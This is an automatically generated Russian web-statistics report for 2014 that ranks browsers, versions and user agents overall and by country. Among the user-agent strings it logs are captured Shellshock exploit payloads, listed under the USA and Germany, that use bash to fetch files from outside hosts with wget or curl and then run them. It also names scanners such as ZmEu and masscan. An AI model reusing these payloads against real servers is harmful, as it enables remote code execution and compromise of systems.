Отчет для 2014: Браузеры
Период отчета:  
Отчет создан в Пн Дек 12, 2016 - 21:40:45

Браузеры

Использование браузеров по дням


Наиболее используемые браузеры


Наиболее используемые браузеры
Браузер Хиты Посетители % от всех посетителей
1 Google Chrome 96 586 7 754 26,97%
2 Internet Explorer 61 958 5 513 19,17%
3 Другие 9 751 4 819 16,76%
4 Firefox 44 797 4 112 14,30%
5 Opera 66 436 3 434 11,94%
6 Mobile Safari 9 530 602 2,09%
7 Android Browser 3 703 474 1,65%
8 NerdyBot 239 239 0,83%
9 Safari 781 136 0,47%
10 Python-urllib/2.6 806 109 0,38%
11 ZmEu 872 83 0,29%
12 Mozilla 511 73 0,25%
13 Mozilla/5.0 (compatible; statdom.ru/Bot; +http://statdom.ru/bot.html) 126 63 0,22%
14 Mozilla/3.0 (compatible; Indy Library) 94 58 0,20%
15 Mozilla/3.0 (x86 [en] Windows NT 5.1; Sun) 166 45 0,16%
16 Mozilla/4.0 44 43 0,15%
17 OdklBot/1.0 (klass@odnoklassniki.ru) 42 40 0,14%
18 WebIndex 285 36 0,13%
19 MobileSafari/9537.53 CFNetwork/672.1.13 Darwin/14.0.0 114 35 0,12%
20 Mozilla/5.0 (compatible; openstat.ru/Bot) 335 32 0,11%
21 Mozilla/5.0 (compatible; Add Catalog/2.1;) 101 30 0,10%
22 Mozilla/5.0 (compatible; WebMasterAid/1.0; +http://wmaid.com/explore/) 41 28 0,10%
23 Microsoft-WebDAV-MiniRedir/5.1.2600 101 27 0,09%
24 masscan/1.0 (https://github.com/robertdavidgraham/masscan) 26 26 0,09%
25 Morfeus Fucking Scanner 26 26 0,09%
26 Mozilla/4.0 (compatible; Blog Search;) 90 25 0,09%
27 nutch-1.4/Nutch-1.4 47 24 0,08%
28 Mozilla/5.0 36 19 0,07%
29 Python-urllib/2.7 28 18 0,06%
30 Riddler (http://riddler.io/about.html) 28 14 0,05%
31 Mozilla/4.7 (compatible; OffByOne; Windows 2000) Webster Pro V3.4 27 13 0,05%
32 Gecko/2008070208 13 13 0,05%
33 Mozilla/5.0 (compatible; vkShare; +http://vk.com/dev/Share) 18 13 0,05%
34 research-scanner/1.0 (www.internetscanningproject.org) 13 13 0,05%
35 Mozilla/5.0 (compatible; U; AnyEvent-HTTP/2.15; +http://software.schmorp.de/pkg/AnyEvent) 13 13 0,05%
36 Wget 13 12 0,04%
37 Mozilla/5.0 (compatible; LinkpadBot/1.06; +http://www.linkpad.ru) 4 468 12 0,04%
38 Mozilla/4.0 (compatible; Synapse) 37 11 0,04%
39 BlackBerry9000/4.6.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 ips-agent 14 10 0,03%
40 mrPC 10 10 0,03%
41 Mozilla/5.1 (compatible; DBot/7.0; +http://getdownload.ws) 35 10 0,03%
42 YahooCacheSystem 10 10 0,03%
43 Mozilla/5.0 (compatible; XoviBot/2.0; +http://www.xovibot.net/) 10 10 0,03%
44 Mozilla/5.0 (compatible; Muenster University of Applied Sciences; +http://fb02itsscan.fh-muenster.de) 12 10 0,03%
45 Mozilla/3.0 (compatible; WebCapture 2.0; Auto; Windows) 30 10 0,03%
46 Mozilla/5.0 (compatible; WBSearchBot/1.1; +http://www.warebay.com/bot.html) 1 170 9 0,03%
47 Mozilla/4.61 [en] (X11; U; ) - BrowseX (2.0.0 Windows) 21 9 0,03%
48 Mozilla/4.5 (compatible; HTTrack 3.0x; Windows 98) 9 9 0,03%
49 rogerbot/1.0 (http://moz.com/help/pro/what-is-rogerbot-, rogerbot-wherecat@moz.com) 83 8 0,03%
50 () { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; 8 8 0,03%
Итого 303 714 28 150 97,91%
Всего 324 694 28 752 100,00%


 

IE and Edge Versions

Daily Internet Explorer and Microsoft Edge Versions


Internet Explorer and Microsoft Edge Versions


Internet Explorer and Microsoft Edge Versions
Браузер Хиты Посетители % от всех посетителей
1 Internet Explorer 11.x 23 059 1 590 28,84%
2 Internet Explorer 8.x 14 415 1 589 28,82%
3 Internet Explorer 6.x 4 090 836 15,16%
4 Internet Explorer 10.x 6 034 557 10,10%
5 Internet Explorer 9.x 12 158 527 9,56%
6 Internet Explorer 7.x 1 059 257 4,66%
7 Internet Explorer 5.x 1 005 100 1,81%
8 Internet Explorer 4.x 38 31 0,56%
9 Internet Explorer 2.x 55 13 0,24%
10 Internet Explorer 3.x 42 11 0,20%
11 Internet Explorer 2 1 0,02%
12 Internet Explorer 28.x 1 1 0,02%
Всего 61 958 5 513 100,00%


 

Версии Firefox

Использование версий Firefox по дням


Версии Firefox


Версии Firefox
Браузер Хиты Посетители % от всех посетителей
1 Firefox 26.0.x 5 186 404 9,82%
2 Firefox 29.0.x 4 598 326 7,93%
3 Firefox 27.0.x 4 036 325 7,90%
4 Firefox 18.0.x 1 395 306 7,44%
5 Firefox 3.6.x 541 302 7,34%
6 Firefox 28.0.x 2 431 283 6,88%
7 Firefox 30.0.x 3 635 261 6,35%
8 Firefox 31.0.x 4 018 237 5,76%
9 Firefox 32.0.x 4 612 176 4,28%
10 Firefox 33.0.x 3 358 167 4,06%
11 Firefox 6.0.x 205 157 3,82%
12 Firefox 34.0.x 2 088 102 2,48%
13 Firefox 9.0.x 404 101 2,46%
14 Firefox 3.5.x 470 82 1,99%
15 Firefox 21.0.x 112 77 1,87%
16 Firefox 5.0.x 816 75 1,82%
17 Firefox 24.0.x 421 66 1,61%
18 Firefox 25.0.x 778 59 1,43%
19 Firefox 12.0.x 745 59 1,43%
20 Firefox 23.0.x 92 54 1,31%
21 Firefox 11.0.x 67 51 1,24%
22 Firefox 14.0.x 242 51 1,24%
23 Firefox 8.0.x 2 474 46 1,12%
24 Firefox 15.0.x 177 45 1,09%
25 Firefox 22.0.x 539 43 1,05%
26 Firefox 3.0.x 71 42 1,02%
27 Firefox 4.0.x 440 36 0,88%
28 Firefox 16.0.x 348 32 0,78%
29 Firefox 20.0.x 68 30 0,73%
30 Firefox 17.0.x 31 25 0,61%
31 Firefox 19.0.x 82 23 0,56%
32 Firefox 7.0.x 251 15 0,36%
33 Firefox 10.0.x 16 13 0,32%
34 Firefox 1.0.x 13 13 0,32%
35 Firefox 2.0.x 8 8 0,19%
36 Firefox 1.5.x 7 7 0,17%
37 Firefox 13.0.x 11 7 0,17%
38 Firefox 3.8.x 2 2 0,05%
39 Firefox 0.10.x 3 1 0,02%
40 Firefox 35.0.x 1 1 0,02%
41 Firefox 3 4 1 0,02%
42 Firefox 4.2.x 1 1 0,02%
Всего 44 797 4 112 100,00%


 

Версии Chrome

Использование версий Google Chrome по дням


Версии Google Chrome


Версии Google Chrome
Браузер Хиты Посетители % от всех посетителей
1 Google Chrome 32.0.x 10 949 967 12,47%
2 Google Chrome 34.0.x 7 853 922 11,89%
3 Google Chrome 35.0.x 12 654 891 11,49%
4 Google Chrome 36.0.x 13 406 710 9,16%
5 Google Chrome 33.0.x 6 220 709 9,14%
6 Google Chrome 30.0.x 10 697 605 7,80%
7 Google Chrome 37.0.x 9 476 515 6,64%
8 Google Chrome 39.0.x 4 296 411 5,30%
9 Google Chrome 31.0.x 2 065 381 4,91%
10 Google Chrome 38.0.x 5 971 371 4,78%
11 Google Chrome 28.0.x 3 008 327 4,22%
12 Google Chrome 21.0.x 286 234 3,02%
13 Google Chrome 23.0.x 237 98 1,26%
14 Google Chrome 27.0.x 371 71 0,92%
15 Google Chrome 18.0.x 310 67 0,86%
16 Google Chrome 24.0.x 1 070 58 0,75%
17 Google Chrome 22.0.x 119 38 0,49%
18 Google Chrome 25.0.x 1 738 37 0,48%
19 Google Chrome 26.0.x 99 37 0,48%
20 Google Chrome 17.0.x 576 37 0,48%
21 Google Chrome 10.0.x 34 34 0,44%
22 Google Chrome 5.0.x 34 32 0,41%
23 Google Chrome 16.0.x 250 26 0,34%
24 Google Chrome 29.0.x 102 25 0,32%
25 Google Chrome 20.0.x 1 197 25 0,32%
26 Google Chrome 15.0.x 2 061 20 0,26%
27 Google Chrome 12.0.x 275 19 0,25%
28 Google Chrome 11.0.x 36 19 0,25%
29 Google Chrome 7.0.x 24 12 0,15%
30 Google Chrome 8.0.x 81 10 0,13%
31 Google Chrome 14.0.x 62 8 0,10%
32 Google Chrome 19.0.x 75 7 0,09%
33 Google Chrome 9.0.x 13 6 0,08%
34 Google Chrome 6.0.x 16 5 0,06%
35 Google Chrome 19.1.x 19 4 0,05%
36 Google Chrome 4.0.x 93 3 0,04%
37 Google Chrome 31.1.x 71 3 0,04%
38 Google Chrome 2.0.x 722 3 0,04%
39 Google Chrome 13.0.x 14 3 0,04%
40 Google Chrome 41.0.x 2 2 0,03%
41 Google Chrome 1.0.x 3 1 0,01%
42 Google Chrome 14.2.x 1 1 0,01%
Всего 96 586 7 754 100,00%


 

Версии Opera

Использование версий Opera по дням


Версии Opera


Версии Opera
Браузер Хиты Посетители % от всех посетителей
1 Opera 12.1.x 45 309 1 469 42,78%
2 Opera 20.0.x 1 439 268 7,80%
3 Opera 19.0.x 1 065 212 6,17%
4 Opera 12.0.x 1 785 172 5,01%
5 Opera 11.1.x 3 187 168 4,89%
6 Opera 18.0.x 2 673 132 3,84%
7 Opera 25.0.x 1 729 118 3,44%
8 Opera 26.0.x 2 720 112 3,26%
9 Opera 23.0.x 1 125 105 3,06%
10 Opera 22.0.x 513 92 2,68%
11 Opera 24.0.x 1 214 73 2,13%
12 Opera 21.0.x 284 70 2,04%
13 Opera 9.0.x 208 67 1,95%
14 Opera 8.0.x 159 54 1,57%
15 Opera 11.6.x 1 765 45 1,31%
16 Opera 6.0.x 163 43 1,25%
17 Opera 10.6.x 97 42 1,22%
18 Opera 11.5.x 144 25 0,73%
19 Opera 7.0.x 54 21 0,61%
20 Opera 17.0.x 169 18 0,52%
21 Opera 7.1.x 55 17 0,50%
22 Opera 7.5.x 49 16 0,47%
23 Opera 9.6.x 249 15 0,44%
24 Opera 10.5.x 140 14 0,41%
25 Opera 8.5.x 37 12 0,35%
26 Opera 15.0.x 21 9 0,26%
27 Opera 11.0.x 20 9 0,26%
28 Opera 16.0.x 7 7 0,20%
29 Opera 7.6.x 12 4 0,12%
30 Opera 9.5.x 4 4 0,12%
31 Opera 3.0.x 4 4 0,12%
32 Opera 10.1.x 7 4 0,12%
33 Opera 12.5.x 4 3 0,09%
34 Opera 9.2.x 17 2 0,06%
35 Opera 10.7.x 2 2 0,06%
36 Opera 10.0.x 2 2 0,06%
37 Opera 7.2.x 1 1 0,03%
38 Opera 931.7.x 1 1 0,03%
39 Opera 1 1 0,03%
40 Opera 561.2.x 1 1 0,03%
Всего 66 436 3 434 100,00%


 

Браузеры и страны

Браузеры и страны
Браузер Хиты Посетители % от всех посетителей
Россия
1 Google Chrome 83 975 5 677 33,21%
2 Internet Explorer 52 892 3 764 22,02%
3 Opera 60 073 2 442 14,29%
4 Firefox 38 482 2 277 13,32%
5 Другие 2 699 1 424 8,33%
6 Mobile Safari 8 655 428 2,50%
7 Android Browser 3 359 360 2,11%
8 Python-urllib/2.6 794 102 0,60%
9 Safari 687 68 0,40%
10 Mozilla/5.0 (compatible; statdom.ru/Bot; +http://statdom.ru/bot.html) 126 63 0,37%
11 Mozilla/3.0 (compatible; Indy Library) 83 48 0,28%
12 OdklBot/1.0 (klass@odnoklassniki.ru) 42 40 0,23%
13 WebIndex 285 36 0,21%
14 MobileSafari/9537.53 CFNetwork/672.1.13 Darwin/14.0.0 114 35 0,20%
15 Mozilla/5.0 (compatible; openstat.ru/Bot) 335 32 0,19%
16 Mozilla/5.0 (compatible; Add Catalog/2.1;) 101 30 0,18%
17 Mozilla/5.0 (compatible; vkShare; +http://vk.com/dev/Share) 18 13 0,08%
18 Gecko/2008070208 13 13 0,08%
19 Mozilla/5.0 (compatible; U; AnyEvent-HTTP/2.15; +http://software.schmorp.de/pkg/AnyEvent) 13 13 0,08%
20 Mozilla/5.0 20 10 0,06%
21 mrPC 10 10 0,06%
22 Mozilla/5.0 (compatible; Mail.RU/2.0c) 80 8 0,05%
23 Mozilla/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) YaBrowser/13.12.1599.0 Mobile/11B554a Safari/9537.53 50 7 0,04%
24 Mozilla/4.5 (compatible; HTTrack 3.0x; Windows 98) 7 7 0,04%
25 Mozilla/5.0 (compatible; StatOnlineRuBot/1.0) 5 5 0,03%
26 Google Desktop 5 5 0,03%
27 Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) GSA/4.1.0.31802 Mobile/11D257 Safari/9537.53 6 4 0,02%
28 Mozilla/4.0 (compatible; Synapse) 13 3 0,02%
29 Dalvik/1.6.0 (Linux; U; Android 4.2.2; IQ4404 Build/JDQ39) 4 3 0,02%
30 Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) GSA/4.2.2.38484 Mobile/12B410 Safari/9537.53 3 3 0,02%
31 Mozilla/5.0 (iPad; CPU OS 7_1_1 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) YaBrowser/14.5.1847.8920.11 Mobile/11D201 Safari/9537.53 19 3 0,02%
32 Mozilla/5.0 (compatible; SputnikImageBot/2.2) 3 3 0,02%
33 Mozilla/5.0 (compatible; Zollard; Linux) 10 2 0,01%
34 ZmEu 12 2 0,01%
35 Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_1 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) GSA/4.1.0.31802 Mobile/11D201 Safari/9537.53 18 2 0,01%
36 Dalvik/1.6.0 (Linux; U; Android 4.3; GT-I9300 Build/JSS15J) 4 2 0,01%
37 Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) GSA/4.2.1.37597 Mobile/11D257 Safari/9537.53 2 2 0,01%
38 Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 Nokia5228/51.1.002; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/533.4 (KHTML, like Gecko) NokiaBrowser/7.3.1.33 Mobile Safari/533.4 3gpp-gba 8 2 0,01%
39 Mozilla/5.0 (Linux; U; Android 4.2.1; zh-cn; TCL J620 Build/JOP40D) AppleWebKit/534.30 (KHTML, like Gecko) Versio/4.0 Mobile Safari/534.30 18 2 0,01%
40 NokiaC2-01/5.0 (11.10) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+ 22 2 0,01%
41 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) QupZilla/1.6.6 Safari/537.21 11 2 0,01%
42 Python-urllib/3.2 2 2 0,01%
43 Mozilla/5.0 (iPad; CPU OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Mobile/11D167 112 2 0,01%
44 Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) GSA/4.1.0.31802 Mobile/11D257 Safari/9537.53 13 2 0,01%
45 Mozilla/5.0 (iPad; CPU OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Mobile/11D201 9 2 0,01%
46 Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) YaBrowser/13.12.1599.0 Mobile/11B554a Safari/9537.53 10 2 0,01%
47 Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_1 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) GSA/4.0.1.31280 Mobile/11D201 Safari/9537.53 4 2 0,01%
48 Mozilla/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) GSA/3.2.0.25255 Mobile/11B554a Safari/8536.25 7 2 0,01%
49 NokiaC2-01/5.0 (11.20) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+ 12 2 0,01%
50 Mozilla/5.0 (iPhone; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) YaBrowser/14.2.1700.0 Mobile/11D167 Safari/9537.53 17 2 0,01%
Украина
1 Google Chrome 7 027 764 29,37%
2 Internet Explorer 2 728 614 23,61%
3 Opera 2 054 492 18,92%
4 Firefox 1 843 333 12,80%
5 Другие 165 112 4,31%
6 Mozilla/3.0 (x86 [en] Windows NT 5.1; Sun) 166 45 1,73%
7 Android Browser 106 42 1,61%
8 Mobile Safari 84 33 1,27%
9 Mozilla/4.0 (compatible; Blog Search;) 90 25 0,96%
10 Mozilla/3.0 (compatible; WebCapture 2.0; Auto; Windows) 30 10 0,38%
11 Mozilla/4.7 (compatible; OffByOne; Windows 2000) Webster Pro V3.4 20 10 0,38%
12 Mozilla/4.61 [en] (X11; U; ) - BrowseX (2.0.0 Windows) 21 9 0,35%
13 Mozilla/5.1 (compatible; DBot/7.0; +http://getdownload.ws) 28 8 0,31%
14 Safari 18 7 0,27%
15 Mozilla/4.79 [en] (Windows NT 5.0; U) 19 6 0,23%
16 Mozilla/4.76 [en] (Windows NT 5.0; U) 16 6 0,23%
17 Mozilla/5.1 (compatible; CBot/1.0; +http://overx50.com) 15 3 0,12%
18 Mozilla/4.0 (compatible; Synapse) 10 3 0,12%
19 Mozilla/5.1 (compatible; r4Bot/1.1.4; +http://r4downloads.co) 12 3 0,12%
20 Mozilla/5.1 (compatible; U2Bot/1.1.4; +http://u2search.co) 12 3 0,12%
21 Mozilla/0.6 Beta (Windows) 12 3 0,12%
22 Wget 3 3 0,12%
23 Mozilla/5.1 (compatible; +5Bot/1.0; +http://plus5files.net) 7 2 0,08%
24 Mozilla/5.1 (compatible; CBot/1.0; +http://downloaflare.biz) 6 2 0,08%
25 ZmEu 12 2 0,08%
26 Mozilla/5.0 (compatible; u12Bot/5.0; +http://u12files.com/) 10 2 0,08%
27 Mozilla/5.1 (compatible; U5/1.0; +http://uni5download.com) 8 2 0,08%
28 Mozilla/5.1 (compatible; DBot/7.5.6; +http://a14download.com) 9 2 0,08%
29 Mozilla/5.1 (compatible; GGot/1.0; +http://u8files.asia) 7 2 0,08%
30 Mozilla/5.1 (compatible; GLBot/1.0; +http://galaxydownloads.co) 8 2 0,08%
31 curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.15.3 zlib/1.2.3 libidn/1.18 libssh2/1.4.2 2 2 0,08%
32 Mozilla/5.1 (compatible; CBot/1.1; +http://overx50.com) 8 2 0,08%
33 Mozilla/5.1 (compatible; DBot/7.2; +http://uni5download.com) 8 2 0,08%
34 Mozilla/5.1 (compatible; XYZBot/1.1.5; +http://t2downloads.xyz) 8 2 0,08%
35 Mozilla/0.91 Beta (Windows) 6 2 0,08%
36 Mozilla 6 2 0,08%
37 Mozilla/5.0 (compatible; DownloadBot/5.1; +http://freedlf.com/) 8 2 0,08%
38 Mozilla/5.1 (compatible; MediaLBot/1.1.5; +http://medialine-it.com) 4 1 0,04%
39 rarely used 1 1 0,04%
40 Mozilla/5.1 (compatible; MediaBot/1.1.7; +http://isdownload.biz) 3 1 0,04%
41 Mozilla/5.1.1 (compatible; DBot/8.5; +http://getdownload.ws) 1 1 0,04%
42 Mozilla/5.1 (compatible; MediaBot/1.1.5; +http://trumpetsheetmusic.org) 4 1 0,04%
43 NewDictBox/9.16.0 CFNetwork/672.1.15 Darwin/14.0.0 1 1 0,04%
44 Mozilla/5.1 (compatible; MonoBot/1.0; +http://mono.name) 4 1 0,04%
45 QuickTime\\xaa.7.0.4 (qtver=7.0.4;cpu=PPC;os=Mac 10.3.9) 1 1 0,04%
46 Sylera/1.2.x 1 1 0,04%
47 SBL-BOT (http://sbl.net) 1 1 0,04%
48 Mozilla/5.1 (compatible; x100Bot/1.1.4; +http://prox100download.com) 4 1 0,04%
49 Opera/6.x (Linux 2.4.8-26mdk i686; U) [en] 1 1 0,04%
50 Mozilla/5.1 (compatible; MinerBot/1.1.4; +http://downloadmine.biz) 3 1 0,04%
США
1 Другие 1 587 723 31,74%
2 Google Chrome 723 352 15,45%
3 Firefox 562 326 14,31%
4 NerdyBot 239 239 10,49%
5 Internet Explorer 713 230 10,10%
6 Mozilla 56 53 2,33%
7 Opera 442 37 1,62%
8 Mobile Safari 137 35 1,54%
9 Morfeus Fucking Scanner 21 21 0,92%
10 ZmEu 145 19 0,83%
11 masscan/1.0 (https://github.com/robertdavidgraham/masscan) 18 18 0,79%
12 research-scanner/1.0 (www.internetscanningproject.org) 13 13 0,57%
13 YahooCacheSystem 10 10 0,44%
14 Safari 15 10 0,44%
15 Riddler (http://riddler.io/about.html) 20 10 0,44%
16 BlackBerry9000/4.6.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 ips-agent 14 10 0,44%
17 rogerbot/1.0 (http://moz.com/help/pro/what-is-rogerbot-, rogerbot-wherecat@moz.com) 83 8 0,35%
18 Wget 8 8 0,35%
19 Mozilla/5.0 (compatible; spbot/4.1.0; +http://OpenLinkProfiler.org/bot ) 6 306 7 0,31%
20 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/xxx.x (KHTML like Gecko) Safari/12x.x 6 6 0,26%
21 Python-urllib/2.7 6 6 0,26%
22 AppEngine-Google; (+http://code.google.com/appengine; appid: s~getfavicon27) 6 6 0,26%
23 Cloud mapping experiment. Contact research@pdrlabs.net 6 6 0,26%
24 Gecko/20070322 Kazehakase/0.4.4.1 5 5 0,22%
25 Mozilla/5.0 (compatible; URLAppendBot/1.0; +http://www.profound.net/urlappendbot.html) 55 5 0,22%
26 niki-bot 43 5 0,22%
27 curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.14.0.0 zlib/1.2.3 libidn/1.18 libssh2/1.4.2 4 4 0,18%
28 Galeon 4 4 0,18%
29 Apache-HttpClient/4.3 (java 1.5) 4 4 0,18%
30 Gecko/20030306 Camino/0.7 4 4 0,18%
31 Android Browser 5 4 0,18%
32 Opera/6.x (Linux 2.4.8-26mdk i686; U) [en] 3 3 0,13%
33 shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html) 3 3 0,13%
34 () { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; 3 3 0,13%
35 Mozilla/5.0 6 3 0,13%
36 http://blog.erratasec.com 3 3 0,13%
37 Mozilla/5.0 (compatible; spbot/4.0.9; +http://OpenLinkProfiler.org/bot ) 1 689 3 0,13%
38 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) Qt/4.8.2 25 3 0,13%
39 Mozilla/5.0 (compatible; spbot/4.0.6; +http://www.seoprofiler.com/bot ) 1 202 2 0,09%
40 Mozilla/5.0 (compatible; spbot/4.0.7; +http://OpenLinkProfiler.org/bot ) 1 962 2 0,09%
41 Mozilla/5.0 (compatible; spbot/4.3.0; +http://OpenLinkProfiler.org/bot ) 1 804 2 0,09%
42 Python-urllib/3.4 2 2 0,09%
43 Robocop 2 2 0,09%
44 chroot-apach0day 2 2 0,09%
45 PycURL/7.19.3 libcurl/7.35.0 GnuTLS/2.12.23 zlib/1.2.8 libidn/1.28 librtmp/2.3 6 2 0,09%
46 Python-urllib/1.17 2 2 0,09%
47 panscient.com 33 2 0,09%
48 Mozilla/4.0 (compatible; Synapse) 7 2 0,09%
49 Konqueror 2 2 0,09%
50 () { :;}; /bin/bash -c "cd /var/tmp;wget http://100.42.30.34/lex ; curl -O http://100.42.30.34/lex ; perl lex ;rm -rf lex" 2 2 0,09%
Германия
1 Firefox 1 050 503 48,18%
2 Другие 212 141 13,51%
3 Google Chrome 313 118 11,30%
4 Internet Explorer 1 187 113 10,82%
5 Safari 39 38 3,64%
6 Opera 45 22 2,11%
7 Mozilla 15 15 1,44%
8 Mozilla/5.0 (compatible; XoviBot/2.0; +http://www.xovibot.net/) 10 10 0,96%
9 Mozilla/5.0 (compatible; Muenster University of Applied Sciences; +http://fb02itsscan.fh-muenster.de) 12 10 0,96%
10 Mozilla/5.0 (compatible; SearchmetricsBot; http://www.searchmetrics.com/en/searchmetrics-bot/) 154 7 0,67%
11 Gecko/20010901 YB/4.3.0 27 7 0,67%
12 ZmEu 36 6 0,57%
13 Apache-HttpClient/4.3 (java 1.5) 8 4 0,38%
14 Mozilla/5.0 (compatible; WBSearchBot/1.1; +http://www.warebay.com/bot.html) 520 4 0,38%
15 Mobile Safari 12 4 0,38%
16 Mozilla/5.1 (compatible; +5Bot/1.0; +http://plus5files.net) 7 2 0,19%
17 Mozilla/5.1 (compatible; ADBot/9.0; +http://onlythegames.com) 6 2 0,19%
18 curl/7.19.0 (i686-suse-linux-gnu) libcurl/7.19.0 OpenSSL/0.9.8h zlib/1.2.3 libidn/1.10 7 2 0,19%
19 Riddler (http://riddler.io/about.html) 4 2 0,19%
20 Mozilla/5.1 (compatible; DBot/7.2; +http://mydownloadengine.com) 6 2 0,19%
21 Mozilla/5.1 (compatible; CBot/1.0; +http://downloaflare.biz) 6 2 0,19%
22 Mozilla/5.1 (compatible; DBot/7.0; +http://getdownload.ws) 7 2 0,19%
23 () { :;}; /bin/bash -c "wget -O /var/tmp/ec.z test.john-neil.com/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*" 18 2 0,19%
24 Mozilla/4.5 (compatible; HTTrack 3.0x; Windows 98) 2 2 0,19%
25 Mozilla/5.0 6 2 0,19%
26 Links (2.7; Linux 3.2.0-4-686-pae i686; GNU C 4.7.2; x) 1 1 0,10%
27 PycURL/7.22.0 6 1 0,10%
28 Mozilla/5.1 (compatible; x100Bot/1.1.4; +http://prox100download.com) 3 1 0,10%
29 Mozilla/5.1 (compatible; PWBot/1.0; +http://opendownload.pw) 3 1 0,10%
30 Mozilla/5.1 (compatible; r4Bot/1.1.4; +http://r4downloads.co) 4 1 0,10%
31 SeaMonkey 1 1 0,10%
32 () { :;}; /bin/bash -c "cd /var/tmp ; rm -rf j* ; wget http://109.202.102.224/fingers.cgi;curl -O http://109.202.102.224/fingers.cgi;perl fingers.cgi;rm -rf fingers.cgi" 1 1 0,10%
33 Dalvik/1.6.0 (Linux; U; Android 4.1.2; GT-N8000 Build/JZO54K) 1 1 0,10%
34 Python-urllib/2.7 1 1 0,10%
35 Java/1.7.0_51 1 1 0,10%
36 Mozilla/5.1 (compatible; MonoBot/1.0; +http://mono.name) 3 1 0,10%
37 Mozilla/5.1 (compatible; DBot/7.0; +http://inload.in) 3 1 0,10%
38 Mozilla/0.91 Beta (Windows) 1 1 0,10%
39 Mozilla/4.7 (compatible; OffByOne; Windows 2000) Webster Pro V3.4 1 1 0,10%
40 Mozilla/4.76 [en] (Windows NT 5.0; U) 1 1 0,10%
41 Mozilla/5.1 (compatible; AlphaBot/1.1.4; +http://alphaphitote.com) 3 1 0,10%
42 Mozilla/5.1 (compatible; DBot/7.3; +http://inload.me) 3 1 0,10%
43 Mozilla/5.1 (compatible; MediaLBot/1.1.5; +http://medialine-it.com) 4 1 0,10%
44 Mozilla/5.1 (compatible; MinerBot/1.1.4; +http://downloadmine.biz) 4 1 0,10%
